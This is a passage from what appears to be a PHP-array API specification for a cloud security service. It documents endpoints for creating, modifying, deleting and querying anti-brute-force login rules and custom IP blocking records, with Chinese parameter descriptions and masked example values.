\\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 263,\\n \\"Count\\": 10\\n },\\n \\"MachineList\\": [\\n {\\n \\"Status\\": 2,\\n \\"BlockExpireDate\\": 1671506882063,\\n \\"Uuid\\": \\"6d5b361f-958d-48a8-a9d2-d6e82c1****\\\\n\\",\\n \\"InternetIp\\": \\"120.79.XX.XX\\",\\n \\"InstanceName\\": \\"record-test-***\\",\\n \\"BlockIp\\": \\"10.12.XX.XX\\",\\n \\"Port\\": \\"22/22\\",\\n \\"Source\\": \\"userRule\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Id\\": 0,\\n \\"RuleName\\": \\"AntiRuleName\\",\\n \\"ErrorCode\\": \\"InstanceSecurityGroupLimitExceeded\\",\\n \\"BlockType\\": \\"alinet\\",\\n \\"AliNetOnline\\": false\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防暴力破解规则拦截IP记录', + ], + 'DeleteCustomBlockRecord' => [ + 'summary' => '删除用户自定义的一个或者多台服务器上特定IP的拦截记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '需要删除的数据的ID。'."\n" + .'> 调用[DescribeCustomBlockRecords](~~DescribeCustomBlockRecords~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '381**', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\"\\n}","type":"json"}]', + 'title' => '删除自定义IP拦截策略', + ], + 'CreateCustomBlockRecord' => [ + 'summary' => '用户可以根据个性化需求，为特定的一台或多台服务器添加指定的IP拦截策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91922', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的UUID列表。多个UUID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => true, + 'example' => '71c846d6-5c84-4714-acfc-58265bc3****,5013b5e8-1613-43a8-b4de-651db318****,df53f0ad-b3ba-4fe0-9ec7-f42a2ae2****', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要进行阻断的单个IP地址，为服务器阻断该IP上面的流量访问。', + 'type' => 'string', + 'required' => true, + 'example' => '192.168.xx.xx', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义IP与服务器的流量禁用方向。'."\n" + .'取值：'."\n" + .'- **in**：入流量 '."\n" + .'- **out**：出流量', + 'type' => 'string', + 'required' => true, + 'example' => 'in', + ], + ], + [ + 'name' => 'ExpireTime', + 'in' => 'query', + 'schema' => [ + 'description' => '该策略的到期时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1859094550000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RuleRecordIsExists', + 'errorMessage' => 'Rule record already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', + 'title' => '新增自定义IP拦截策略', + ], + 'CreateAntiBruteForceRule' => [ + 'summary' => '创建防暴力破解规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解规则的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'TestAntiBruteForceRule', + ], + ], + [ + 'name' => 'Span', + 'in' => 'query', + 'schema' => [ + 'description' => '设置账号登录失败的时间的阈值，单位为分钟。取值：'."\n" + ."\n" + .'- **1**：1分钟'."\n" + .'- **2**：2分钟'."\n" + .'- **5**：5分钟'."\n" + .'- **10**：10分钟'."\n" + .'- **15**：15分钟'."\n" + ."\n" + .'> Span、FailCount、ForbiddenTime这三个参数组合成一个防暴力破解规则，表示XX分钟内账号登录失败超过XX次，该账号禁止登录XX分钟。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'FailCount', + 'in' => 'query', + 'schema' => [ + 'description' => '设置账号登录失败次数的阈值。单位为次。取值：2、3、4、5、10、50、80、100。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '2', + ], + ], + [ + 'name' => 'ForbiddenTime', + 'in' => 'query', + 'schema' => [ + 'description' => '设置禁止账号登录的时长，单位为分钟。取值：'."\n" + ."\n" + .'- **5**：5分钟'."\n" + .'- **15**：15分钟'."\n" + .'- **30**：30分钟'."\n" + .'- **60**：1小时'."\n" + .'- **120**：2小时'."\n" + .'- **360**：6小时'."\n" + .'- **720**：12小时'."\n" + .'- **1440**：24小时'."\n" + .'- **10080**：7天'."\n" + .'- **52560000**：永久（100年）', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '5', + ], + ], + [ + 'name' => 'DefaultRule', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解规则是否设置为默认规则。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否'."\n" + ."\n" + .'> 资产不在其他规则时，会使用默认规则。'."\n", + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '防暴力破解规则生效的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防暴力破解规则生效的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '292dcc68-b60b-4bbd-a0be-beaa1622****', + ], + 'required' => true, + 'maxItems' => 10000, + ], + ], + [ + 'name' => 'ProtocolType', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '暴力破解创建规则支持拦截的协议类型。', + 'type' => 'object', + 'properties' => [ + 'Rdp' => [ + 'description' => '是否开启RDP拦截方式，默认开启，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + 'Ssh' => [ + 'description' => '是否开启SSH拦截方式，默认开启，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + 'SqlServer' => [ + 'description' => '是否开启SqlServer拦截方式，默认关闭，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'off', + ], + ], + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', + ], + 'CreateAntiBruteForceRule' => [ + 'description' => '创建的防暴力破解规则的信息。', + 'type' => 'object', + 'properties' => [ + 'RuleId' => [ + 'description' => '防暴力破解规则的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '65778', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NotBuy', + 'errorMessage' => 'user not buy service', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\",\\n \\"CreateAntiBruteForceRule\\": {\\n \\"RuleId\\": 65778\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F35F45B0-5D6B-4238-BE02-A62D0760E840\\n \\n 65778\\n \\n","errorExample":""}]', + 'title' => '创建防暴力破解规则', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyAntiBruteForceRule' => [ + 'summary' => '修改防暴力破解规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '暴力破解防御规则的ID。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '65778', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '暴力破解防御规则的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'TestRule', + ], + ], + [ + 'name' => 'Span', + 'in' => 'query', + 'schema' => [ + 'description' => '账号登录失败的时间的阈值，单位为分钟。取值：'."\n" + ."\n" + .'- **1**:1分钟'."\n" + .'- **2**：2分钟'."\n" + .'- **5**：5分钟'."\n" + .'- **10**：10分钟'."\n" + .'- **15**：15分钟'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'FailCount', + 'in' => 'query', + 'schema' => [ + 'description' => '账号登录失败次数的阈值。取值：'."\n" + ."\n" + .'- **2**：2次'."\n" + .'- **3**：3次'."\n" + .'- **4**：4次'."\n" + .'- **5**：5次'."\n" + .'- **10**：10次'."\n" + .'- **50**：50次'."\n" + .'- **80**：80次'."\n" + .'- **100**：100次', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'ForbiddenTime', + 'in' => 'query', + 'schema' => [ + 'description' => '禁止账号登录的时长，单位为分钟。取值：'."\n" + ."\n" + .'- **5**：5分钟'."\n" + .'- **15**：15分钟'."\n" + .'- **30**：30分钟'."\n" + .'- **60**：1小时'."\n" + .'- **120**：2小时'."\n" + .'- **360**：6小时'."\n" + .'- **720**：12小时'."\n" + .'- **1440**：24小时'."\n" + .'- **10080**：7天'."\n" + .'- **52560000**：永久（100年）'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + [ + 'name' => 'DefaultRule', + 'in' => 'query', + 'schema' => [ + 'description' => '添加的暴力破解防御规则是否设置为默认策略。取值：'."\n" + ."\n" + .'- **true**：设置为默认策略'."\n" + ."\n" + .'- **false**：不设置为默认策略', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '暴力破解防御规则生效的服务器列表。', + 'type' => 'array', + 'items' => [ + 'description' => '暴力破解防御规则生效的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'b26c-3f4159dc****', + ], + 'required' => false, + 'example' => 'uuid-13213-dasda', + 'maxItems' => 10000, + ], + ], + [ + 'name' => 'ProtocolType', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '暴力破解规则支持拦截的协议类型。', + 'type' => 'object', + 'properties' => [ + 'Rdp' => [ + 'description' => '是否修改RDP拦截方式，默认开启，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + 'Ssh' => [ + 'description' => '是否修改SSH拦截方式，默认开启，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + 'SqlServer' => [ + 'description' => '是否修改SqlServer拦截方式，默认关闭，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'off', + ], + ], + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NotBuy', + 'errorMessage' => 'user not buy service', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\"\\n}","errorExample":""},{"type":"xml","example":"\\n F35F45B0-5D6B-4238-BE02-A62D0760E840\\n","errorExample":""}]', + 'title' => '修改防暴力破解规则', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyInstanceAntiBruteForceRule' => [ + 'summary' => '修改指定服务器的防暴力破解规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改防暴力破解规则的服务器UUID。'."\n" + .'您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '7cc91747-2845-40d4-bb69-c077597f****', + ], + ], + [ + 'name' => 'NewRuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解规则的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '65767', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4BE468CE-47A0-54F0-98A1-E253546E6A2C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4BE468CE-47A0-54F0-98A1-E253546E6A2C\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 4BE468CE-47A0-54F0-98A1-E253546E6A2C\\n","errorExample":""}]', + 'title' => '修改指定服务器的防暴力破解规则', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeBruteForceSummary' => [ + 'summary' => '查询安全告警中防暴力破解IP拦截策略的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '203.119.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AE60EAE3-ABD0-897C-B0F16CAC6C7D', + ], + 'BruteForceSummary' => [ + 'description' => '防暴力破解IP拦截策略的统计信息。', + 'type' => 'object', + 'properties' => [ + 'AllStrategyCount' => [ + 'description' => '防暴力破解IP拦截策略总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '13', + ], + 'EffectiveCount' => [ + 'description' => '已启用的防暴力破解IP拦截策略数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AntiBruteForceRuleCount' => [ + 'description' => '防御策略数。', + 'type' => 'string', + 'example' => '2', + ], + 'CustomRecordCount' => [ + 'description' => '自定义拦截规则数。', + 'type' => 'string', + 'example' => '19730', + ], + 'SystemRecordCount' => [ + 'description' => '系统拦截规则数。', + 'type' => 'string', + 'example' => '2', + ], + 'CustomEffectiveCount' => [ + 'description' => '生效的自定义拦截规则数。', + 'type' => 'string', + 'example' => '3', + ], + 'SystemEffectiveCount' => [ + 'description' => '生效的系统拦截规则数。', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"AE60EAE3-ABD0-897C-B0F16CAC6C7D\\",\\n \\"BruteForceSummary\\": {\\n \\"AllStrategyCount\\": 13,\\n \\"EffectiveCount\\": 2,\\n \\"AntiBruteForceRuleCount\\": \\"2\\",\\n \\"CustomRecordCount\\": \\"19730\\",\\n \\"SystemRecordCount\\": \\"2\\",\\n \\"CustomEffectiveCount\\": \\"3\\",\\n \\"SystemEffectiveCount\\": \\"1\\"\\n }\\n}","type":"json"}]', + 'title' => '查询防暴力破解IP拦截策略统计信息', + ], + 'DescribeInstanceAntiBruteForceRules' => [ + 'summary' => '查询暴力破解防御规则生效的服务器信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '115.238.XX.XX', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定要查询的服务器UUID列表。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'array', + 'items' => [ + 'description' => '指定要查询的服务器UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的资产的数量。默认值为**10000**，表示每页显示10000条资产信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '97286A-4A6B-4A4-95FA-EC7E3E2451', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '暴力破解防御规则生效服务器总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'Count' => [ + 'description' => '当前页显示的暴力破解防御规则生效服务器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'Rules' => [ + 'description' => '暴力破解防御规则生效服务器列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '暴力破解防御规则生效服务器的UUID。', + 'type' => 'string', + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'Name' => [ + 'description' => '暴力破解防御规则的名称。', + 'type' => 'string', + 'example' => 'TestRule', + ], + 'Id' => [ + 'description' => '暴力破解防御规则的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '215779601', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"97286A-4A6B-4A4-95FA-EC7E3E2451\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 4,\\n \\"Count\\": 4\\n },\\n \\"Rules\\": [\\n {\\n \\"Uuid\\": \\"4fe8e1cd-3c37-4851-b9de-124da32c****\\",\\n \\"Name\\": \\"TestRule\\",\\n \\"Id\\": 215779601\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询暴力破解防御规则生效的服务器信息', + ], + 'DescribeAntiBruteForceRules' => [ + 'summary' => '查询您已创建的防暴力破解规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '121.69.XX.XX', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解规则ID。'."\n" + .'>调用[DescribeAntiBruteForceRules](~~DescribeAntiBruteForceRules~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1141****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'string', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '暴力破解规则的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testName', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '已创建的防暴力破解规则的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'Rules' => [ + 'description' => '防暴力破解规则详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防暴力破解规则详情。', + 'type' => 'object', + 'properties' => [ + 'MachineCount' => [ + 'description' => '配置该暴力破解防御规则的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'EnableSmartRule' => [ + 'description' => '该参数已废弃，无需关注。'."\n", + 'type' => 'boolean', + 'example' => 'false', + ], + 'FailCount' => [ + 'description' => '暴力破解防御规则生效的用户登录的失败次数阈值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'ForbiddenTime' => [ + 'description' => '暴力破解防御规则生效后对攻击方IP禁用的时间，单位（分钟）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '360', + ], + 'Span' => [ + 'description' => '暴力破解防御规则生效的时间阈值，单位为分钟。例如**span**为10，表示如果在10分钟内登录失败次数超过设置的阈值，防暴力破解规则会生效并在指定时间内拦截登录。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'DefaultRule' => [ + 'description' => '当前规则是否为默认规则。取值：'."\n" + .'- **true**：是默认规则。'."\n" + .'- **false**：不是默认规则。'."\n" + ."\n" + .'> 设置为默认规则的防暴力破解规则会对所有未添加防御规则的服务器生效。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Name' => [ + 'description' => '暴力破解防御规则的名称。', + 'type' => 'string', + 'example' => 'AntiBruteForceRule01', + ], + 'Id' => [ + 'description' => '暴力破解防御规则的规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1629', + ], + 'UuidList' => [ + 'description' => '配置该暴力破解防御规则的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '配置该暴力破解防御规则的服务器的UUID。', + 'type' => 'string', + 'example' => 'uuid-018c-4ef7-89fd-988b9b0e****', + ], + ], + 'CreateTimestamp' => [ + 'description' => '防暴力破解规则创建时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1669800181000', + ], + 'ProtocolType' => [ + 'description' => '暴力破解规则支持拦截的协议类型。', + 'type' => 'object', + 'properties' => [ + 'Rdp' => [ + 'description' => 'RDP拦截方式，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'example' => 'on', + ], + 'Ssh' => [ + 'description' => 'SSH拦截方式，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'example' => 'on', + ], + 'SqlServer' => [ + 'description' => 